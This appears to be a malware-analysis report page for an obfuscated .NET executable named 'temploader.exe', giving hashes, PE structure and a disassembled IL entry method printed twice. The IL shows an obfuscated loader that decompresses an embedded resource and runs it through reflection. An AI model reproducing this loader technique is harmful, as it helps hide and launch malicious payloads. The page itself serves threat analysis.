Malicious
Malicious

PE Executable
MD5: 6fd4bb4cc0cd9f101b6cd7bb10e27893
Size: 2.2 MB
application/x-dosexec
Ctrl + scroll to zoom · drag to pan

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
Symbol Obfuscation Score Very high
MD5 6fd4bb4cc0cd9f101b6cd7bb10e27893
Sha1 ad1076eb0803593f9b032658b9e9b8d0b936e9f8
Sha256 4d99b92df452a113bafe2af82d237225ff93afe39fae138305b8201b179357c1
Sha384 d9db9c23b5ad1e2fad6c1998380ead2df1b1946d2b74d29ae670b33e5845c8871cd1afc6fb078d124a2565a61268fad5
Sha512 6414e2dfcb74e4c1b3279f02aa03fbc29db85f1072797acf86a687aa54e5bb5f499fb51d2b327fc167855e3ac61d4fc6ff5b3a8c7855f1e6ace1e6f760ce9167
SSDeep 49152:BjF0mrfGRg3LwRrcRb1n21tYuyhiTDLzmKvIHzTq7:BSm/3YcPiXTDLfIHzTS
TLSH 38A52319A6A54F00E6883E35F1A36D5987F0E5CB36FBD75E2E141150BF027F48C862EA
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
6fd4bb4cc0cd9f101b6cd7bb10e27893
Malicious
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
aIlbFvLm1sEMJT84pN.qeal9u5qK78kAbWKYS
9WK5knaTk2y6r4Jgg8.S7R2dbXEcDFSLd0lte
yTVWWN9Qx79NQyxTHE.5yS6W30c7SMOdhxso5
N0dvbsoLIysmGWLcrm.DAorMk1k29dA2L60QY
whwA4rOJ09a7Rxt40s.3HRmkLUL4ZrRHvpMof
av150obFXokmutuXPy.jGg4ISdCmJCs2T4Ogk
Name Value
Module Name
temploader.exe
Full Name
temploader.exe
EntryPoint
System.Void AWem4JVd6dIBIvL1rN.YFo0R0fhht5ZGM2Qim::n1BvRNeIa()
Scope Name
temploader.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
temploader
Assembly Version
0.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
44
Main Method
System.Void AWem4JVd6dIBIvL1rN.YFo0R0fhht5ZGM2Qim::n1BvRNeIa()
Main IL Instruction Count
175
Main IL 
br.s IL_0007: ldc.i4 1
call <null>
ldc.i4 1
stloc V_7
br IL_0015: ldloc V_7
ldloc V_7
switch dnlib.DotNet.Emit.Instruction[]
br IL_028A: ldsfld oQ3kuxUT5v5t0r4IpYf oQ3kuxUT5v5t0r4IpYf::FNBUxpgOBP
nop <null>
newobj System.Void System.IO.MemoryStream::.ctor()
stloc.s V_3
ldc.i4 3
br IL_0049: switch(IL_01B2,IL_0063,IL_00BE,IL_00AA)
ldloc V_2
switch dnlib.DotNet.Emit.Instruction[]
br IL_01B2: leave IL_030C
ldloc.s V_3
ldsfld avtx0wUe6XW1tjjUbwA avtx0wUe6XW1tjjUbwA::SpJUJnKL3v
call System.Byte[] avtx0wUe6XW1tjjUbwA::osfUhry653(System.Object,avtx0wUe6XW1tjjUbwA)
ldsfld y0rtacUj5BkSEomBW2d y0rtacUj5BkSEomBW2d::L28UZs0IxD
call System.Reflection.Assembly y0rtacUj5BkSEomBW2d::osfUhry653(System.Byte[],y0rtacUj5BkSEomBW2d)
ldsfld fIjKQMU2qi53SvksynW fIjKQMU2qi53SvksynW::bu0UwPgdgK
call System.Reflection.MethodInfo fIjKQMU2qi53SvksynW::osfUhry653(System.Object,fIjKQMU2qi53SvksynW)
ldnull <null>
ldnull <null>
callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[])
pop <null>
ldc.i4 0
ldsfld <Module>{825a051e-9192-4e93-90de-9af2b3c13f72} <Module>{825a051e-9192-4e93-90de-9af2b3c13f72}::m_670acfb5de1b472fbc7a28423dc51f2b
ldfld System.Int32 <Module>{825a051e-9192-4e93-90de-9af2b3c13f72}::m_6ff9504208ff47849fd4c0b14c56b99e
brtrue IL_0049: switch(IL_01B2,IL_0063,IL_00BE,IL_00AA)
pop <null>
ldc.i4 0
br IL_0049: switch(IL_01B2,IL_0063,IL_00BE,IL_00AA)
ldloc.s V_0
ldc.i4.0 <null>
newobj System.Void System.IO.Compression.DeflateStream::.ctor(System.IO.Stream,System.IO.Compression.CompressionMode)
stloc.s V_6
ldc.i4 2
br IL_0049: switch(IL_01B2,IL_0063,IL_00BE,IL_00AA)
nop <null>
ldloc.s V_6
ldloc.s V_3
ldsfld TX0FXSUiTUSufACOigu TX0FXSUiTUSufACOigu::AWVUkInAJM
call System.Void TX0FXSUiTUSufACOigu::osfUhry653(System.Object,System.IO.Stream,TX0FXSUiTUSufACOigu)
ldc.i4 0
ldsfld <Module>{825a051e-9192-4e93-90de-9af2b3c13f72} <Module>{825a051e-9192-4e93-90de-9af2b3c13f72}::m_670acfb5de1b472fbc7a28423dc51f2b
ldfld System.Int32 <Module>{825a051e-9192-4e93-90de-9af2b3c13f72}::m_e553e879e2344a1ca9f3189730db04b1
brtrue IL_00F0: switch(IL_00FE)
pop <null>
ldc.i4 0
br IL_00F0: switch(IL_00FE)
ldloc V_4
switch dnlib.DotNet.Emit.Instruction[]
br IL_00FE: leave IL_0063
leave IL_0063: ldloc.s V_3
ldloc.s V_6
brtrue IL_0143: ldloc.s V_6
ldc.i4 0
ldsfld <Module>{825a051e-9192-4e93-90de-9af2b3c13f72} <Module>{825a051e-9192-4e93-90de-9af2b3c13f72}::m_670acfb5de1b472fbc7a28423dc51f2b
ldfld System.Int32 <Module>{825a051e-9192-4e93-90de-9af2b3c13f72}::m_065cec7cf19c407c93dff3762e2cf667
brtrue IL_012D: switch(IL_0192,IL_016E,IL_0143)
pop <null>
ldc.i4 1
br IL_012D: switch(IL_0192,IL_016E,IL_0143)
ldloc V_1
switch dnlib.DotNet.Emit.Instruction[]
br IL_0192: endfinally
ldloc.s V_6
ldsfld pLj5W4U303JHyedKDmf pLj5W4U303JHyedKDmf::LRXUpwcZgP
call System.Void pLj5W4U303JHyedKDmf::osfUhry653(System.Object,pLj5W4U303JHyedKDmf)
ldc.i4 0
ldsfld <Module>{825a051e-9192-4e93-90de-9af2b3c13f72} <Module>{825a051e-9192-4e93-90de-9af2b3c13f72}::m_670acfb5de1b472fbc7a28423dc51f2b
ldfld System.Int32 <Module>{825a051e-9192-4e93-90de-9af2b3c13f72}::m_77b2032c50c64450ac353c3ad00e84b2
brtrue IL_012D: switch(IL_0192,IL_016E,IL_0143)
pop <null>
ldc.i4 0
br IL_012D: switch(IL_0192,IL_016E,IL_0143)
br IL_0192: endfinally
ldc.i4 0
ldsfld <Module>{825a051e-9192-4e93-90de-9af2b3c13f72} <Module>{825a051e-9192-4e93-90de-9af2b3c13f72}::m_670acfb5de1b472fbc7a28423dc51f2b
ldfld System.Int32 <Module>{825a051e-9192-4e93-90de-9af2b3c13f72}::m_6315a921311e4839bc4d1108cc6d4665
brfalse IL_012D: switch(IL_0192,IL_016E,IL_0143)
pop <null>
ldc.i4 2
br IL_012D: switch(IL_0192,IL_016E,IL_0143)
endfinally <null>
ldc.i4 0
ldsfld <Module>{825a051e-9192-4e93-90de-9af2b3c13f72} <Module>{825a051e-9192-4e93-90de-9af2b3c13f72}::m_670acfb5de1b472fbc7a28423dc51f2b
ldfld System.Int32 <Module>{825a051e-9192-4e93-90de-9af2b3c13f72}::m_c376b6fbb9454cbaa74e7787ebd56902
brtrue IL_0049: switch(IL_01B2,IL_0063,IL_00BE,IL_00AA)
pop <null>
ldc.i4 1
br IL_0049: switch(IL_01B2,IL_0063,IL_00BE,IL_00AA)
leave IL_030C: ret
ldloc.s V_0
brtrue IL_01F7: ldloc.s V_0
ldc.i4 0
ldsfld <Module>{825a051e-9192-4e93-90de-9af2b3c13f72} <Module>{825a051e-9192-4e93-90de-9af2b3c13f72}::m_670acfb5de1b472fbc7a28423dc51f2b
ldfld System.Int32 <Module>{825a051e-9192-4e93-90de-9af2b3c13f72}::m_af30e11e53f448de8a40f9b1d36ae697
brtrue IL_01E1: switch(IL_0222,IL_0246,IL_01F7)
pop <null>
ldc.i4 0
br IL_01E1: switch(IL_0222,IL_0246,IL_01F7)
ldloc V_5
switch dnlib.DotNet.Emit.Instruction[]
br IL_0222: br IL_0246
ldloc.s V_0
ldsfld pLj5W4U303JHyedKDmf pLj5W4U303JHyedKDmf::LRXUpwcZgP
call System.Void pLj5W4U303JHyedKDmf::osfUhry653(System.Object,pLj5W4U303JHyedKDmf)
ldc.i4 1
ldsfld <Module>{825a051e-9192-4e93-90de-9af2b3c13f72} <Module>{825a051e-9192-4e93-90de-9af2b3c13f72}::m_670acfb5de1b472fbc7a28423dc51f2b
ldfld System.Int32 <Module>{825a051e-9192-4e93-90de-9af2b3c13f72}::m_56bb52ef28a94297b14f9ae60212de5c
brfalse IL_01E1: switch(IL_0222,IL_0246,IL_01F7)
pop <null>
ldc.i4 0
br IL_01E1: switch(IL_0222,IL_0246,IL_01F7)
br IL_0246: endfinally
ldc.i4 2
ldsfld <Module>{825a051e-9192-4e93-90de-9af2b3c13f72} <Module>{825a051e-9192-4e93-90de-9af2b3c13f72}::m_670acfb5de1b472fbc7a28423dc51f2b
ldfld System.Int32 <Module>{825a051e-9192-4e93-90de-9af2b3c13f72}::m_2123224c4ca442f7a2248b7596f7ae53
brtrue IL_01E1: switch(IL_0222,IL_0246,IL_01F7)
pop <null>
ldc.i4 2
br IL_01E1: switch(IL_0222,IL_0246,IL_01F7)
endfinally <null>
ldc.i4 2
ldsfld <Module>{825a051e-9192-4e93-90de-9af2b3c13f72} <Module>{825a051e-9192-4e93-90de-9af2b3c13f72}::m_670acfb5de1b472fbc7a28423dc51f2b
ldfld System.Int32 <Module>{825a051e-9192-4e93-90de-9af2b3c13f72}::m_3b11560453b54704ac9fbdab6110ec23
brtrue IL_0019: switch(IL_028A,IL_0266,IL_030C,IL_0033)
pop <null>
ldc.i4 1
br IL_0019: switch(IL_028A,IL_0266,IL_030C,IL_0033)
call System.Void j4vWksdxeGLkEq4QCBF.a2j5ttdTaKb3RyoZouT::N4Vm2DvUud()
ldc.i4 0
ldsfld <Module>{825a051e-9192-4e93-90de-9af2b3c13f72} <Module>{825a051e-9192-4e93-90de-9af2b3c13f72}::m_670acfb5de1b472fbc7a28423dc51f2b
ldfld System.Int32 <Module>{825a051e-9192-4e93-90de-9af2b3c13f72}::m_a2baf284bb244bd0a7d2c74a1d0639a0
brfalse IL_0019: switch(IL_028A,IL_0266,IL_030C,IL_0033)
pop <null>
ldc.i4 0
br IL_0019: switch(IL_028A,IL_0266,IL_030C,IL_0033)
ldsfld oQ3kuxUT5v5t0r4IpYf oQ3kuxUT5v5t0r4IpYf::FNBUxpgOBP
call System.Reflection.Assembly oQ3kuxUT5v5t0r4IpYf::osfUhry653(oQ3kuxUT5v5t0r4IpYf)
ldc.i4 364843964
ldc.i4 662487621
xor <null>
ldsfld <Module>{825a051e-9192-4e93-90de-9af2b3c13f72} <Module>{825a051e-9192-4e93-90de-9af2b3c13f72}::m_670acfb5de1b472fbc7a28423dc51f2b
ldfld System.Int32 <Module>{825a051e-9192-4e93-90de-9af2b3c13f72}::m_e8233941e7d240d3b896d33287d30aa7
xor <null>
call System.String L4Eau1T59jCP1eyGPQ.KXW9XRhDnMx1wbHWHN::bMVMZFMbJ(System.Int32)
ldc.i4 -170239909
ldc.i4 2
shl <null>
ldc.i4 -252291231
xor <null>
ldsfld <Module>{825a051e-9192-4e93-90de-9af2b3c13f72} <Module>{825a051e-9192-4e93-90de-9af2b3c13f72}::m_670acfb5de1b472fbc7a28423dc51f2b
ldfld System.Int32 <Module>{825a051e-9192-4e93-90de-9af2b3c13f72}::m_6315a921311e4839bc4d1108cc6d4665
xor <null>
call System.String L4Eau1T59jCP1eyGPQ.KXW9XRhDnMx1wbHWHN::bMVMZFMbJ(System.Int32)
ldc.i4 -861578037
ldc.i4 5
shl <null>
ldc.i4 -341620619
xor <null>
ldsfld <Module>{825a051e-9192-4e93-90de-9af2b3c13f72} <Module>{825a051e-9192-4e93-90de-9af2b3c13f72}::m_670acfb5de1b472fbc7a28423dc51f2b
ldfld System.Int32 <Module>{825a051e-9192-4e93-90de-9af2b3c13f72}::m_2cf48779d40d4b1f841a74b4e904dd28
xor <null>
call System.String L4Eau1T59jCP1eyGPQ.KXW9XRhDnMx1wbHWHN::bMVMZFMbJ(System.Int32)
call System.String QvhR6FKkSu2vlwUUyu.AY66bLn1XapFr7D3oo::wJLGnycKF(System.Object,System.Object,System.Object)
ldsfld XYp7YWUPLd96hYhEvAv XYp7YWUPLd96hYhEvAv::RtoUu3eGGy
call System.IO.Stream XYp7YWUPLd96hYhEvAv::osfUhry653(System.Object,System.String,XYp7YWUPLd96hYhEvAv)
stloc.s V_0
ldc.i4 3
br IL_0019: switch(IL_028A,IL_0266,IL_030C,IL_0033)
ret <null>
Module Name
temploader.exe
Full Name
temploader.exe
EntryPoint
System.Void AWem4JVd6dIBIvL1rN.YFo0R0fhht5ZGM2Qim::n1BvRNeIa()
Scope Name
temploader.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
temploader
Assembly Version
0.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
44
Main Method
System.Void AWem4JVd6dIBIvL1rN.YFo0R0fhht5ZGM2Qim::n1BvRNeIa()
Main IL Instruction Count
175
Main IL 
br.s IL_0007: ldc.i4 1
call <null>
ldc.i4 1
stloc V_7
br IL_0015: ldloc V_7
ldloc V_7
switch dnlib.DotNet.Emit.Instruction[]
br IL_028A: ldsfld oQ3kuxUT5v5t0r4IpYf oQ3kuxUT5v5t0r4IpYf::FNBUxpgOBP
nop <null>
newobj System.Void System.IO.MemoryStream::.ctor()
stloc.s V_3
ldc.i4 3
br IL_0049: switch(IL_01B2,IL_0063,IL_00BE,IL_00AA)
ldloc V_2
switch dnlib.DotNet.Emit.Instruction[]
br IL_01B2: leave IL_030C
ldloc.s V_3
ldsfld avtx0wUe6XW1tjjUbwA avtx0wUe6XW1tjjUbwA::SpJUJnKL3v
call System.Byte[] avtx0wUe6XW1tjjUbwA::osfUhry653(System.Object,avtx0wUe6XW1tjjUbwA)
ldsfld y0rtacUj5BkSEomBW2d y0rtacUj5BkSEomBW2d::L28UZs0IxD
call System.Reflection.Assembly y0rtacUj5BkSEomBW2d::osfUhry653(System.Byte[],y0rtacUj5BkSEomBW2d)
ldsfld fIjKQMU2qi53SvksynW fIjKQMU2qi53SvksynW::bu0UwPgdgK
call System.Reflection.MethodInfo fIjKQMU2qi53SvksynW::osfUhry653(System.Object,fIjKQMU2qi53SvksynW)
ldnull <null>
ldnull <null>
callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[])
pop <null>
ldc.i4 0
ldsfld <Module>{825a051e-9192-4e93-90de-9af2b3c13f72} <Module>{825a051e-9192-4e93-90de-9af2b3c13f72}::m_670acfb5de1b472fbc7a28423dc51f2b
ldfld System.Int32 <Module>{825a051e-9192-4e93-90de-9af2b3c13f72}::m_6ff9504208ff47849fd4c0b14c56b99e
brtrue IL_0049: switch(IL_01B2,IL_0063,IL_00BE,IL_00AA)
pop <null>
ldc.i4 0
br IL_0049: switch(IL_01B2,IL_0063,IL_00BE,IL_00AA)
ldloc.s V_0
ldc.i4.0 <null>
newobj System.Void System.IO.Compression.DeflateStream::.ctor(System.IO.Stream,System.IO.Compression.CompressionMode)
stloc.s V_6
ldc.i4 2
br IL_0049: switch(IL_01B2,IL_0063,IL_00BE,IL_00AA)
nop <null>
ldloc.s V_6
ldloc.s V_3
ldsfld TX0FXSUiTUSufACOigu TX0FXSUiTUSufACOigu::AWVUkInAJM
call System.Void TX0FXSUiTUSufACOigu::osfUhry653(System.Object,System.IO.Stream,TX0FXSUiTUSufACOigu)
ldc.i4 0
ldsfld <Module>{825a051e-9192-4e93-90de-9af2b3c13f72} <Module>{825a051e-9192-4e93-90de-9af2b3c13f72}::m_670acfb5de1b472fbc7a28423dc51f2b
ldfld System.Int32 <Module>{825a051e-9192-4e93-90de-9af2b3c13f72}::m_e553e879e2344a1ca9f3189730db04b1
brtrue IL_00F0: switch(IL_00FE)
pop <null>
ldc.i4 0
br IL_00F0: switch(IL_00FE)
ldloc V_4
switch dnlib.DotNet.Emit.Instruction[]
br IL_00FE: leave IL_0063
leave IL_0063: ldloc.s V_3
ldloc.s V_6
brtrue IL_0143: ldloc.s V_6
ldc.i4 0
ldsfld <Module>{825a051e-9192-4e93-90de-9af2b3c13f72} <Module>{825a051e-9192-4e93-90de-9af2b3c13f72}::m_670acfb5de1b472fbc7a28423dc51f2b
ldfld System.Int32 <Module>{825a051e-9192-4e93-90de-9af2b3c13f72}::m_065cec7cf19c407c93dff3762e2cf667
brtrue IL_012D: switch(IL_0192,IL_016E,IL_0143)
pop <null>
ldc.i4 1
br IL_012D: switch(IL_0192,IL_016E,IL_0143)
ldloc V_1
switch dnlib.DotNet.Emit.Instruction[]
br IL_0192: endfinally
ldloc.s V_6
ldsfld pLj5W4U303JHyedKDmf pLj5W4U303JHyedKDmf::LRXUpwcZgP
call System.Void pLj5W4U303JHyedKDmf::osfUhry653(System.Object,pLj5W4U303JHyedKDmf)
ldc.i4 0
ldsfld <Module>{825a051e-9192-4e93-90de-9af2b3c13f72} <Module>{825a051e-9192-4e93-90de-9af2b3c13f72}::m_670acfb5de1b472fbc7a28423dc51f2b
ldfld System.Int32 <Module>{825a051e-9192-4e93-90de-9af2b3c13f72}::m_77b2032c50c64450ac353c3ad00e84b2
brtrue IL_012D: switch(IL_0192,IL_016E,IL_0143)
pop <null>
ldc.i4 0
br IL_012D: switch(IL_0192,IL_016E,IL_0143)
br IL_0192: endfinally
ldc.i4 0
ldsfld <Module>{825a051e-9192-4e93-90de-9af2b3c13f72} <Module>{825a051e-9192-4e93-90de-9af2b3c13f72}::m_670acfb5de1b472fbc7a28423dc51f2b
ldfld System.Int32 <Module>{825a051e-9192-4e93-90de-9af2b3c13f72}::m_6315a921311e4839bc4d1108cc6d4665
brfalse IL_012D: switch(IL_0192,IL_016E,IL_0143)
pop <null>
ldc.i4 2
br IL_012D: switch(IL_0192,IL_016E,IL_0143)
endfinally <null>
ldc.i4 0
ldsfld <Module>{825a051e-9192-4e93-90de-9af2b3c13f72} <Module>{825a051e-9192-4e93-90de-9af2b3c13f72}::m_670acfb5de1b472fbc7a28423dc51f2b
ldfld System.Int32 <Module>{825a051e-9192-4e93-90de-9af2b3c13f72}::m_c376b6fbb9454cbaa74e7787ebd56902
brtrue IL_0049: switch(IL_01B2,IL_0063,IL_00BE,IL_00AA)
pop <null>
ldc.i4 1
br IL_0049: switch(IL_01B2,IL_0063,IL_00BE,IL_00AA)
leave IL_030C: ret
ldloc.s V_0
brtrue IL_01F7: ldloc.s V_0
ldc.i4 0
ldsfld <Module>{825a051e-9192-4e93-90de-9af2b3c13f72} <Module>{825a051e-9192-4e93-90de-9af2b3c13f72}::m_670acfb5de1b472fbc7a28423dc51f2b
ldfld System.Int32 <Module>{825a051e-9192-4e93-90de-9af2b3c13f72}::m_af30e11e53f448de8a40f9b1d36ae697
brtrue IL_01E1: switch(IL_0222,IL_0246,IL_01F7)
pop <null>
ldc.i4 0
br IL_01E1: switch(IL_0222,IL_0246,IL_01F7)
ldloc V_5
switch dnlib.DotNet.Emit.Instruction[]
br IL_0222: br IL_0246
ldloc.s V_0
ldsfld pLj5W4U303JHyedKDmf pLj5W4U303JHyedKDmf::LRXUpwcZgP
call System.Void pLj5W4U303JHyedKDmf::osfUhry653(System.Object,pLj5W4U303JHyedKDmf)
ldc.i4 1
ldsfld <Module>{825a051e-9192-4e93-90de-9af2b3c13f72} <Module>{825a051e-9192-4e93-90de-9af2b3c13f72}::m_670acfb5de1b472fbc7a28423dc51f2b
ldfld System.Int32 <Module>{825a051e-9192-4e93-90de-9af2b3c13f72}::m_56bb52ef28a94297b14f9ae60212de5c
brfalse IL_01E1: switch(IL_0222,IL_0246,IL_01F7)
pop <null>
ldc.i4 0
br IL_01E1: switch(IL_0222,IL_0246,IL_01F7)
br IL_0246: endfinally
ldc.i4 2
ldsfld <Module>{825a051e-9192-4e93-90de-9af2b3c13f72} <Module>{825a051e-9192-4e93-90de-9af2b3c13f72}::m_670acfb5de1b472fbc7a28423dc51f2b
ldfld System.Int32 <Module>{825a051e-9192-4e93-90de-9af2b3c13f72}::m_2123224c4ca442f7a2248b7596f7ae53
brtrue IL_01E1: switch(IL_0222,IL_0246,IL_01F7)
pop <null>
ldc.i4 2
br IL_01E1: switch(IL_0222,IL_0246,IL_01F7)
endfinally <null>
ldc.i4 2
ldsfld <Module>{825a051e-9192-4e93-90de-9af2b3c13f72} <Module>{825a051e-9192-4e93-90de-9af2b3c13f72}::m_670acfb5de1b472fbc7a28423dc51f2b
ldfld System.Int32 <Module>{825a051e-9192-4e93-90de-9af2b3c13f72}::m_3b11560453b54704ac9fbdab6110ec23
brtrue IL_0019: switch(IL_028A,IL_0266,IL_030C,IL_0033)
pop <null>
ldc.i4 1
br IL_0019: switch(IL_028A,IL_0266,IL_030C,IL_0033)
call System.Void j4vWksdxeGLkEq4QCBF.a2j5ttdTaKb3RyoZouT::N4Vm2DvUud()
ldc.i4 0
ldsfld <Module>{825a051e-9192-4e93-90de-9af2b3c13f72} <Module>{825a051e-9192-4e93-90de-9af2b3c13f72}::m_670acfb5de1b472fbc7a28423dc51f2b
ldfld System.Int32 <Module>{825a051e-9192-4e93-90de-9af2b3c13f72}::m_a2baf284bb244bd0a7d2c74a1d0639a0
brfalse IL_0019: switch(IL_028A,IL_0266,IL_030C,IL_0033)
pop <null>
ldc.i4 0
br IL_0019: switch(IL_028A,IL_0266,IL_030C,IL_0033)
ldsfld oQ3kuxUT5v5t0r4IpYf oQ3kuxUT5v5t0r4IpYf::FNBUxpgOBP
call System.Reflection.Assembly oQ3kuxUT5v5t0r4IpYf::osfUhry653(oQ3kuxUT5v5t0r4IpYf)
ldc.i4 364843964
ldc.i4 662487621
xor <null>
ldsfld <Module>{825a051e-9192-4e93-90de-9af2b3c13f72} <Module>{825a051e-9192-4e93-90de-9af2b3c13f72}::m_670acfb5de1b472fbc7a28423dc51f2b
ldfld System.Int32 <Module>{825a051e-9192-4e93-90de-9af2b3c13f72}::m_e8233941e7d240d3b896d33287d30aa7
xor <null>
call System.String L4Eau1T59jCP1eyGPQ.KXW9XRhDnMx1wbHWHN::bMVMZFMbJ(System.Int32)
ldc.i4 -170239909
ldc.i4 2
shl <null>
ldc.i4 -252291231
xor <null>
ldsfld <Module>{825a051e-9192-4e93-90de-9af2b3c13f72} <Module>{825a051e-9192-4e93-90de-9af2b3c13f72}::m_670acfb5de1b472fbc7a28423dc51f2b
ldfld System.Int32 <Module>{825a051e-9192-4e93-90de-9af2b3c13f72}::m_6315a921311e4839bc4d1108cc6d4665
xor <null>
call System.String L4Eau1T59jCP1eyGPQ.KXW9XRhDnMx1wbHWHN::bMVMZFMbJ(System.Int32)
ldc.i4 -861578037
ldc.i4 5
shl <null>
ldc.i4 -341620619
xor <null>
ldsfld <Module>{825a051e-9192-4e93-90de-9af2b3c13f72} <Module>{825a051e-9192-4e93-90de-9af2b3c13f72}::m_670acfb5de1b472fbc7a28423dc51f2b
ldfld System.Int32 <Module>{825a051e-9192-4e93-90de-9af2b3c13f72}::m_2cf48779d40d4b1f841a74b4e904dd28
xor <null>
call System.String L4Eau1T59jCP1eyGPQ.KXW9XRhDnMx1wbHWHN::bMVMZFMbJ(System.Int32)
call System.String QvhR6FKkSu2vlwUUyu.AY66bLn1XapFr7D3oo::wJLGnycKF(System.Object,System.Object,System.Object)
ldsfld XYp7YWUPLd96hYhEvAv XYp7YWUPLd96hYhEvAv::RtoUu3eGGy
call System.IO.Stream XYp7YWUPLd96hYhEvAv::osfUhry653(System.Object,System.String,XYp7YWUPLd96hYhEvAv)
stloc.s V_0
ldc.i4 3
br IL_0019: switch(IL_028A,IL_0266,IL_030C,IL_0033)
ret <null>
6fd4bb4cc0cd9f101b6cd7bb10e27893
Malicious
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
aIlbFvLm1sEMJT84pN.qeal9u5qK78kAbWKYS
9WK5knaTk2y6r4Jgg8.S7R2dbXEcDFSLd0lte
yTVWWN9Qx79NQyxTHE.5yS6W30c7SMOdhxso5
N0dvbsoLIysmGWLcrm.DAorMk1k29dA2L60QY
whwA4rOJ09a7Rxt40s.3HRmkLUL4ZrRHvpMof
av150obFXokmutuXPy.jGg4ISdCmJCs2T4Ogk
No malware configuration was found at this point.
You must be signed in to view YARA rules.
An error has occurred. This application may no longer respond until reloaded. Reload 🗙